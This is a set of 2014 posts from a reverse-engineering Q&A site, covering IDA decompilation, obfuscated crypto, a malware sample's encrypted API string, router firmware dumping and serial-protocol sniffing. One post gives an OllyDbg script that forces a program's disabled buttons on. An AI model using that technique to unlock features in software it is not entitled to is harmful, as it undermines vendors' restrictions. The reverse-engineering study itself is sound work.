  <row Id="6542" PostTypeId="1" CreationDate="2014-10-29T13:54:31.527" Score="1" ViewCount="436" Body="&lt;p&gt;You can use nm(liux/mac) to find exported and imported functions/symbols, is it possible to find the non-exported symbols of a binary in a similar way? Are there command line tools to assist with this?&lt;br&gt;&#xA;Primarily looking to do .apk/.ipa analysis.&lt;/p&gt;&#xA;" OwnerUserId="9892" LastEditorUserId="9892" LastEditDate="2014-10-29T14:14:36.647" LastActivityDate="2015-02-26T16:17:38.417" Title="How do I find non-exported symbols of a binary?" Tags="|binary-analysis|static-analysis|symbols|binary|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6543" PostTypeId="2" ParentId="6542" CreationDate="2014-10-29T14:15:58.650" Score="2" Body="&lt;p&gt;You would need to ask the developers of those Android / iOS apps for the symbols. It's very unlikely that they've made their apps' symbols publicly available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, keep in mind that although symbols are helpful, they aren't required to reverse engineer an app.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-10-29T14:15:58.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6544" PostTypeId="1" CreationDate="2014-10-29T16:01:15.253" Score="2" ViewCount="1422" Body="&lt;p&gt;I'm trying to analyze a decryption algorithm I'm reverse engineering and am wondering if anyone would from looking at the logic be able to identify one of the standard/common ciphers people use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decryption code I'm extracting this from calls out to these functions which are all in essence very similar (they are about 50 functions in total that call to one another), they all are composed of a series of while loops, if statements and VERY LONG switch/case statements which seem to analyze each position or byte value for a position and decide a course of action to generate the output from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of these functions are 11-30k lines in length, which makes me wonder if this is how the original code was built or if this might be a compiler optimization deal that expands the original logic to so many lines like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an extract for 2 of these functions: &lt;a href=&quot;https://gist.github.com/robertoandrade/ac3a810b82ba48d3b136&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/robertoandrade/ac3a810b82ba48d3b136&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I renamed them both just for ease of identification and both have a similar signature: &lt;code&gt;int ____________________switch_magic&lt;/code&gt; (followed by a number just to help count how many of them exist).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I found the same logic in a series of applications I've tried to reverse engineering, hence my assumption this is some kind of common algorithm I'm unable to identify by looking at the obfuscated decompiled code.&lt;/p&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2014-10-29T16:29:57.837" Title="Identify decompiled decryption algorithm" Tags="|encryption|decryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6545" PostTypeId="2" ParentId="6544" CreationDate="2014-10-29T16:29:57.837" Score="3" Body="&lt;p&gt;This is &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2221/what-is-a-control-flow-flattening-obfuscation-technique&quot;&gt;control flow flattening obfuscation&lt;/a&gt;, probably coupled with constant obfuscation, opaque predicates and all the other bells and whistles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that it's a whiteboxed crypto implementation, i.e. the key and other constants have been embedded in the obfuscated code itself and are not present as separate data chunks. It's unlikely that you'll be able to recover the keys or even the algorithm without deobfuscating the code, although &lt;a href=&quot;http://www.phrack.org/issues/68/8.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;who knows...&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-10-29T16:29:57.837" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6549" PostTypeId="2" ParentId="6106" CreationDate="2014-10-31T06:17:51.920" Score="1" Body="&lt;p&gt;malshare.com - Request an API Key and pull all the samples you want.&lt;/p&gt;&#xA;" OwnerUserId="9904" LastActivityDate="2014-10-31T06:17:51.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6550" PostTypeId="1" AcceptedAnswerId="6551" CreationDate="2014-10-31T07:03:42.043" Score="0" ViewCount="1878" Body="&lt;p&gt;I am familiar with debuggers and sorts. I was going through a program and noticed that IDA does make some mistakes on what it decides what on its pseudo code will be.&lt;/p&gt;&#xA;&lt;p&gt;Is there a list of common mistakes by IDA and do you think that it would be possible to get something to a compilable source?&lt;/p&gt;&#xA;&lt;p&gt;I thought I would test it out on some programs and one thing weird I noticed is that it will do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;v1 = thiscall();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where as in source I just have the &lt;code&gt;thiscall();&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I also noticed that it bloats a lot of things which is from the assembly itself.&lt;/p&gt;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a list of common IDA mistakes ?&lt;/li&gt;&#xA;&lt;li&gt;Can once I have worked back fairly close to source will IDA produce a header file ?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to get back to a source that I could at least compile code from?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Its looking like I might be able to providing if I knew the libraries and outline of the program well. Let me know what your thoughts and experiences from using IDA on this subject.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I found a project that actually did this. All functions are byte for byte in 100% accuracy. So yes my past self, it is indeed possible.&#xA;&lt;a href=&quot;https://github.com/diasurgical/devilution&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/diasurgical/devilution&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="6992" LastEditDate="2021-01-14T11:40:51.277" LastActivityDate="2021-01-14T11:40:51.277" Title="Is it possible to get back to a compilable form of source code using IDA pro" Tags="|ida|disassembly|c++|" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-31T15:09:13.777" ContentLicense="CC BY-SA 4.0" />
  <row Id="6551" PostTypeId="2" ParentId="6550" CreationDate="2014-10-31T09:16:16.540" Score="2" Body="&lt;p&gt;You can't get anything back that compiles, or even assembles, without &lt;em&gt;massive&lt;/em&gt; manual intervention, and, given the ambiguities in object code, it's very unlikely this situation will ever change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3800/why-there-are-not-any-disassemblers-that-can-generate-re-assemblable-asm-code&quot;&gt;Why there are not any disassemblers that can generate re-assemblable asm code?&lt;/a&gt; for a more detailed answer.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-10-31T09:16:16.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6552" PostTypeId="1" CreationDate="2014-10-31T15:23:07.163" Score="0" ViewCount="93" Body="&lt;p&gt;i have found the following code sequence in a sample which I try to analyze:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;push offset LibFileName ;    &quot;KERNEL32.DLL&quot;&#xA;call LoadLibraryA&#xA;mov esi, eax&#xA;test esi, esi&#xA;jz short loc_40EDF2&#xA;lea edx, [ebp+var_108]&#xA;...&#xA;...&#xA;mov eax, offset aUmehyJ ; &quot;UmehyJ{j&quot;&#xA;push eax                ; lpProcName&#xA;push esi                ; hModule&#xA;call GetProcAddress_0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I know what the combination of LoadLibrary and GetProcAddress does. But what I do not understand is the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, offset aUmehyJ ; &quot;UmehyJ{j&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would say that the process name is somehow encrypted. I searched a little bit and read that XOR-encryption in combination with a loop is frequently used in malware. So, I let IDA PRO search all occurences of a XOR and try to locate of course those with a register-immediate combination, for example xor eax, 12h.&#xA;But I could not find something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I have read that Base64 encoding is also used in malware. So, I type the string &quot;UmehyJ{j&quot; in a online Base64 decoder tool ( &lt;a href=&quot;http://www.opinionatedgeek.com/dotnet/tools/base64decode/&quot; rel=&quot;nofollow&quot;&gt;http://www.opinionatedgeek.com/dotnet/tools/base64decode/&lt;/a&gt; ) but without success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, now I am at a point where I do not know how I should make the next steps.&#xA;Because of that, I hope somebody can help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards,  &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-10-31T19:03:09.300" Title="Question about interaction between some message-functions()" Tags="|assembly|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6553" PostTypeId="2" ParentId="6552" CreationDate="2014-10-31T15:51:05.527" Score="2" Body="&lt;p&gt;Yes, the function name appears to be encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can double-click on &lt;code&gt;aUmehyJ&lt;/code&gt; in IDA to see cross-references to the &quot;UmehyJ{j&quot; string: &lt;a href=&quot;http://resources.infosecinstitute.com/ida-cross-references-xrefs/&quot; rel=&quot;nofollow&quot;&gt;http://resources.infosecinstitute.com/ida-cross-references-xrefs/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will allow you to find what code in the program decrypts the string before it is passed to &lt;code&gt;GetProcAddress()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can open your target in a debugger and place a memory-write hardware-breakpoint on the first byte of the &quot;UmehyJ{j&quot; string and wait for the breakpoint to be hit. This will allow you to find the code that decrypts the string.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-10-31T19:03:09.300" LastActivityDate="2014-10-31T19:03:09.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6556" PostTypeId="1" CreationDate="2014-11-01T22:39:01.470" Score="5" ViewCount="734" Body="&lt;p&gt;im having trouble to extract a file system of a ZTE zxv10 h201 router. Im a beginner in reverse engineering so I am probably doing something wrong. This is what I have done so far. &#xA;I got the admin username and password for the web interface and enabled telnet. &#xA;I connected to the router using telnet &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BusyBox v1.01 (2012.01.29-08:14+0000) Built-in shell (ash)&#xA;Enter 'help' for a list of built-in commands.&#xA;&#xA;# cat proc/mtd &#xA;dev:    size   erasesize  name&#xA;mtd0: 00800000 00010000 &quot;whole_flash&quot;&#xA;mtd1: 00020000 00010000 &quot;bootloader&quot;&#xA;mtd2: 00040000 00010000 &quot;userconfig&quot;&#xA;mtd3: 00150000 00010000 &quot;kernel&quot;  &#xA;mtd4: 00650000 00010000 &quot;filesystem&quot;&#xA;# &#xA;# help&#xA;&#xA;Built-in commands:&#xA;-------------------&#xA;    . : break cd chdir continue eval exec exit export false hash&#xA;    help local pwd read readonly return set shift times trap true&#xA;    type ulimit umask unset wait [ ash brctl busybox cat cp date&#xA;    df echo free fuser getty hostname ifconfig init insmod kill killall&#xA;    linuxrc ln login ls lsmod mkdir mknod mount mv passwd ping ps&#xA;    pwd reboot rm rmdir rmmod setmac sh test tftp top traceroute&#xA;    umount wget&#xA;&#xA;# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /dev/mtdblock4 &amp;gt; /mnt/usb1_1/filesystem&#xA;# cat /dev/mtdblock0 &amp;gt; /mnt/usb1_1/whole_flash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To transfer the binary to the usb plugged in the router.&#xA;This is what i got with &#xA;binwalk whole_flash &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;1288          0x508           CFE boot loader&#xA;7204          0x1C24          LZMA compressed data, properties: 0x5D, dictionary size: 4194304 bytes, missing uncompressed size&#xA;131708        0x2027C         Zlib compressed data, compressed&#xA;148092        0x2427C         Zlib compressed data, compressed&#xA;184956        0x2D27C         PEM RSA private key&#xA;185919        0x2D63F         PEM certificate&#xA;197244        0x3027C         Zlib compressed data, compressed&#xA;262780        0x4027C         Zlib compressed data, compressed&#xA;328316        0x5027C         Zlib compressed data, compressed&#xA;328640        0x503C0         Zlib compressed data, compressed&#xA;328844        0x5048C         Zlib compressed data, compressed&#xA;             .....&#xA;346480        0x54970         Zlib compressed data, compressed&#xA;346956        0x54B4C         Zlib compressed data, compressed&#xA;347388        0x54CFC         Zlib compressed data, compressed&#xA;347820        0x54EAC         Zlib compressed data, compressed&#xA;348252        0x5505C         Zlib compressed data, compressed&#xA;348684        0x5520C         Zlib compressed data, compressed&#xA;393484        0x6010C         LZMA compressed data, properties: 0x5D, dictionary size: 4194304 bytes, missing uncompressed size&#xA;1769472       0x1B0000        Squashfs filesystem, big endian, version 2.0, size: 5866724 bytes, 638 inodes, blocksize: 65536 bytes, created: Sun Jan 29 09:31:45 2012&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Im having issues with the filesystem binary because non of the unsquashfs versions in the firmware modification kit &quot;works&quot; properly for me because all I get is 307,0 kB worth of files.&lt;/p&gt;&#xA;" OwnerUserId="9909" LastActivityDate="2021-12-15T09:05:45.527" Title="Getting empty files using firmware modification kit" Tags="|firmware|unpacking|embedded|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6558" PostTypeId="1" CreationDate="2014-11-02T09:38:30.427" Score="0" ViewCount="711" Body="&lt;p&gt;I would like to automate a process of enabling buttons with &lt;code&gt;cond bp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I found that function &lt;code&gt;user32.EnableWindow&lt;/code&gt; is called from &lt;code&gt;mfc110u.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I went there and set &lt;code&gt;cond bp&lt;/code&gt; on the second arg of the function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;code&gt;arg2==0&lt;/code&gt; when you want the button to be disabled and &lt;code&gt;arg2==1&lt;/code&gt; when enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I did ?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I set &lt;code&gt;cond bp&lt;/code&gt; with condition &lt;code&gt;[EBP+8]==0&lt;/code&gt; and now want to run something like this each time the bp is hit:&#xA;&lt;strong&gt;A (EBP+8) DD 1&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;li&gt;I downloaded the plugin &lt;code&gt;CLBPlus!&lt;/code&gt; and for this plugin is identifier CLBP so final command become: &lt;strong&gt;CLBP A (EBP+8) DD 1&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But for some reason this does not work. Maybe the command A is not implemented. I downloaded the two another plugins &quot;Command Line v1.10&quot; and &quot;Command Bar v3.20.110&quot; but unfortunately I do not know the identifiers for these plugings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any ideas ?&lt;/p&gt;&#xA;" OwnerUserId="9913" LastEditorUserId="188" LastEditDate="2014-11-04T07:37:15.667" LastActivityDate="2015-01-03T08:49:39.363" Title="run a command when bp is hit in OLLY 1.10" Tags="|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6559" PostTypeId="1" AcceptedAnswerId="6566" CreationDate="2014-11-02T09:57:49.667" Score="1" ViewCount="2876" Body="&lt;p&gt;In OllyDbg 110 there is a point: &quot;Message breakpoint on ClassProc&quot;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wGu45.png&quot; alt=&quot;OllyDbg 110&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At OllyDbg 2.01 I can not find it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4FpW6.png&quot; alt=&quot;OllyDbg 2.01&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9914" LastActivityDate="2014-11-03T07:47:36.190" Title="How to set Message Breakpoints on button in ollyDbg 2.01?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6560" PostTypeId="1" CreationDate="2014-11-02T13:16:53.337" Score="2" ViewCount="825" Body="&lt;p&gt;I have a device that consists of a machine and a control head, connected with a cable with Dab25 connectors at both ends. The control head contains various buttons and dials for operating the dip unctions of the machine. The control head is a little limited in the options it gives you for controlling the machine functions and its ease of use, so I would like to connect the machine to a computer and control it from the computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to how I can reverse engineer the communication protocol from the control head?  I am hoping that's it's RS232 - I think I could manage that. Otherwise, I have no idea how to do this (I'm a software guy!). So any thoughts as to how I can determine if it's RS233 or not, and if not - how I could interface a computer with it and decode the protocol ?&lt;/p&gt;&#xA;" OwnerUserId="9915" LastEditorUserId="53" LastEditDate="2014-11-02T14:49:57.270" LastActivityDate="2014-11-06T16:36:21.547" Title="Reverse engineer DB25 protocol" Tags="|serial-communication|protocol|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6561" PostTypeId="2" ParentId="6558" CreationDate="2014-11-02T14:04:37.820" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://sourceforge.net/projects/odbgscript/files/English%20Version/&quot; rel=&quot;nofollow&quot;&gt;ODbgScript&lt;/a&gt; to set conditional breakpoints and perform automated actions when those breakpoints are hit.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-11-02T14:04:37.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6562" PostTypeId="2" ParentId="6560" CreationDate="2014-11-02T17:21:40.830" Score="1" Body="&lt;p&gt;You won't be able to find out if it's RS232 or not without at least a bit of hardware. Also, note that true RS232 uses +/- 12V, while many USB to Serial converters work with +/- 5V, or even 3.3V if they come with devices like mobile phones. This means you're likely to fry your converter if you attach it to the head directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the very first thing you should do is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;print a &lt;a href=&quot;http://www.aggsoft.com/rs232-pinout-cable/serial-cable-connections.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;pinout sheet&lt;/a&gt; of the various different connector types for reference&lt;/li&gt;&#xA;&lt;li&gt;check the voltage on the TxD/RxD lines (Pin 2 and Pin 3) against ground (Pin 7)&lt;/li&gt;&#xA;&lt;li&gt;attach an oscilloscope to those lines to verify if there's a signal on them when you press a button/turn a dial on the head; if successful, you can also get the baud rate from the period length of the signal&lt;/li&gt;&#xA;&lt;li&gt;If there is a signal on those pins, and it's 12V, get a &quot;real&quot; serial card for your PC; if it's 5V or less, a USB/serial converter will probably work as well&lt;/li&gt;&#xA;&lt;li&gt;connect the TxD pin of the head to the RxD pin of your computer, and pin 7 to the ground pin. If you do this in parallel to the original cable, this will allow you to spy on the communication between head and device. Fire up a terminal program/serial port monitor on your PC to view/capture data; Jason's link will tell you more about that.&lt;/li&gt;&#xA;&lt;li&gt;Likewise, connect the RxD pin of the head to your computer's RxD to capture what the device sends to the head. Use two serial adapters in your PC to listen on both directions at the same time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that, since you said there are several dials on the head, the head would need some hardware to convert the analog signal of the dial to digital and send it through some serial protocol. If i had to design this, i'd probably just use potentiometers, and assign one of the 25 lines to each dial/switch, so i'd have analog signals on the wire, and do the processing in the device. (However, digital over RS232 would be more EMI resistant, so you can't rule out the device actually does that). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check this, you'd need a 24-channel logic analyzer (that can handle analog inputs as well, not just digital), hook up each pin to an input, and check what happens when you operate the head. But in that case, you won't be able to control the device from the PC without some external hardware anyway; you'd need some output ports and D/A converters for this. Electronics.stackexchange.com can probably help you better with that than we can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: How to continue when you know it's not RS232&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your head is implemented in the easiest possible way to do this, it probably consists of a bunch of circuits like these:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7yNIC.png&quot; alt=&quot;Probable circuit diagram&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've used the international symbols for resistor/potentiometer; the US ones are squiggly lines instead of a rectangle. Also, note that there's no connection where the red and green line cross).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left connection is ground, the right one the &quot;working voltage&quot;. This is often called Vcc; if one of the lines on your PCB has a Vcc or similar marking, you know which line it is. Likewise, ground is often marked GND. If the cable is shielded, the shield is normally connected to GND as well, so that's another way to identify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The dials are probably made with &lt;a href=&quot;http://en.wikipedia.org/wiki/Potentiometer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Potentiometers&lt;/a&gt;, green part. Imagine the dial moving the arrow to the left/right when you turn it. The analog output voltage will be 0V if you move the arrow left, 5V (or whatever your working voltage is) if you move the arrow right, or anything between if the dial isn't in its end position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The switches could be implemented as shown in the red part; while the switch is open, the digital output has a &quot;weak&quot; connection via the resistor to 0V which will pull the output down to 0V as well; when you close the switch, the &quot;stronger&quot; connection to Vcc pulls the output up to working voltage. (Please don't quote me on &quot;weak&quot; and &quot;strong&quot; connections on an electronics site, but you get the picture ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what you have to do is identify what your working voltage is, and which line is which. Set your multimeter to ~20V DC (most probable values for Vcc are 12V and 5V), connect the black (ground) wire to ground, and the red wire to a different line on the output. Check if any switch or dial changes the voltage on this line. Following the PCB traces might speed this up. Repeat until you know which line is which. Once you find a line that has a constant voltage which is as high as - or higher - than all the others, you've found the Vcc line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're prepared to shell out a bit of money, you might be interested in buying a &lt;a href=&quot;http://www.linkinstruments.com/mso19.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Logic Analyzer&lt;/a&gt;. The advantage of those is you can measure several channels at once, and it will show you if there's a waveform signal on one of the lines; a multimeter is too slow to detect this. Warning: before connecting the logic analyzer to your hardware, make sure the input line can handle the voltage, as many logic analyzers are made for 5V computer circuits, and while connecting them to 12V or even 24V does not neccesarily fry them, better don't test that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you know which output is which, it's time to connect them to a computer instead of the head. You'll need some Digital to Analog Converters - essentially, they convert a number you set them to into a voltage. If you use one of the cheap Raspberry Pi 10 Digit DA-converters, programming them a 0 will result in an output of 0V, programming a 2^10-1=1023 will set them to 5V, and if you want 1V, set them to slightly over 200. Connect your multimeter (or logic analyzer) to the output, and experiment with the software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same with the digital outputs. The Raspberry PI comes with a GPIO (general purpose input output) chip that's connected to some headers on the PCB, so you can use one of the many internet tutorials out there to program them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it does not HAVE to be a Pi; but the Pi is (in my opinion) the fastest, cheapest and easiest way to do this. Of course, if you have some experience in Arduino programming, the Arduino will be even easier for you. Or you use a PCI card that has digital and analog outputs for your PC, but that tends to be more expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When shopping for I/O cards, again, make sure they can handle the voltage you need. If your head uses 12V, a 5V D/A converter won't help you much. If your head uses 5V, you can, in theory, use a 12V D/A converter (just don't use its whole voltage range), but it's way too easy to have a software bug fry your hardware to recommend that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you're comfortable with programming the digital and analog outputs, you can start making a cable to replace the cable to your head. Each line that is an output line on the head gets connected to an output line of your hardware. Setting the output of a digital line to 0V/5V emulates pressing a switch, and setting an A/D converter to some value emulates turning the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to check each line if it works as intended separately. Once they do, it's all software, hack away!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update: How to attach the 24V output to a logic analyzer that's rated for 5V&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your head seems to work with 24V, you can't attach a 5V input to an oscilloscope/logic analyzer directly; you need a &lt;a href=&quot;http://www.dummies.com/how-to/content/electronics-projects-how-to-divide-voltage-with-re.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;voltage divider&lt;/a&gt;. In your case, this should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3nRY.png&quot; alt=&quot;voltage divider from 24 to 5 V&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-11-06T07:38:56.210" LastActivityDate="2014-11-06T07:38:56.210" CommentCount="25" ContentLicense="CC BY-SA 3.0" />
  <row Id="6563" PostTypeId="2" ParentId="6558" CreationDate="2014-11-02T20:03:52.513" Score="0" Body="&lt;p&gt;Thanx Jason for the tip. I tried it before but it did not work. Now I tried it again and hopefuly it seems working. In olly command line when I wrote &lt;strong&gt;A (EBP+8) DD 1&lt;/strong&gt; I saw it worked. The syntax for script is &lt;strong&gt;asm eip, &quot;mov eax, ecx&quot;&lt;/strong&gt;, so I tried to write &lt;strong&gt;asm (ebp+8), &quot;dd 1&quot;&lt;/strong&gt;, but did not work. So I tried &lt;strong&gt;asm ebp+8, &quot;dd 1&quot;&lt;/strong&gt; and it seems working. I put conditional breakpoints manualy and constructed this nice dirty code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;START:&#xA;asm ebp+8, &quot;dd 1&quot;&#xA;run&#xA;jmp START&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it works nicely. Thanx for the tip again&quot;!&lt;/p&gt;&#xA;" OwnerUserId="9913" LastEditorUserId="9913" LastEditDate="2014-11-02T20:13:40.287" LastActivityDate="2014-11-02T20:13:40.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6565" PostTypeId="1" AcceptedAnswerId="6567" CreationDate="2014-11-03T00:39:29.783" Score="2" ViewCount="262" Body="&lt;p&gt;In an assembly line, I have a call to &lt;code&gt;gethostbyname(...)&lt;/code&gt;. I have read that the return value of that function can be a pointer to a &lt;code&gt;hostent&lt;/code&gt; structure&#xA;(of course, it could be also a null pointer but for my question I need the pointer to the hostent structure)&lt;/p&gt;&#xA;&lt;p&gt;I also take a look to the hostent structure which is the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   typedef struct hostent{&#xA;    char FAR *h_name;&#xA;    char FAR FAR **h_aliases;&#xA;    short h_addrtype;&#xA;    short h_length;&#xA;    char FAR FAR **h_addr_list;&#xA;   } HOSTENT, *PHOSTENT, FAR *LPHOSTENT;&#xA;&#xA; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, some lines later the following appears:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  mov edx, [eax+0Ch]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know that the return value of a function is stored in &lt;code&gt;eax&lt;/code&gt;. So, when &lt;code&gt;eax&lt;/code&gt; points to &lt;code&gt;hostent&lt;/code&gt; structure, then &lt;code&gt;edx&lt;/code&gt; must point to one of the &lt;code&gt;hostent&lt;/code&gt; structure &lt;code&gt;members&lt;/code&gt;, because the offset is &lt;code&gt;0Ch&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To determine which of the member it is, i know that I must count the sizes of the members. And here comes my question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When I count until I reach the offset &lt;code&gt;0Ch&lt;/code&gt;, which of these types I must take? I mean, when you look at the first member, for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char FAR *h_name; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is the size of &lt;code&gt;char&lt;/code&gt; relevant or the size of &lt;code&gt;FAR&lt;/code&gt; ? Or both ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I hope someone can explain me that.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-11-03T11:51:44.537" Title="Locate member of a structure" Tags="|assembly|struct|offset|pointer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6566" PostTypeId="2" ParentId="6559" CreationDate="2014-11-03T07:47:36.190" Score="1" Body="&lt;pre&gt;&lt;code&gt;use conditional log breakpoint and set multiple conditions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FTZZq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-11-03T07:47:36.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
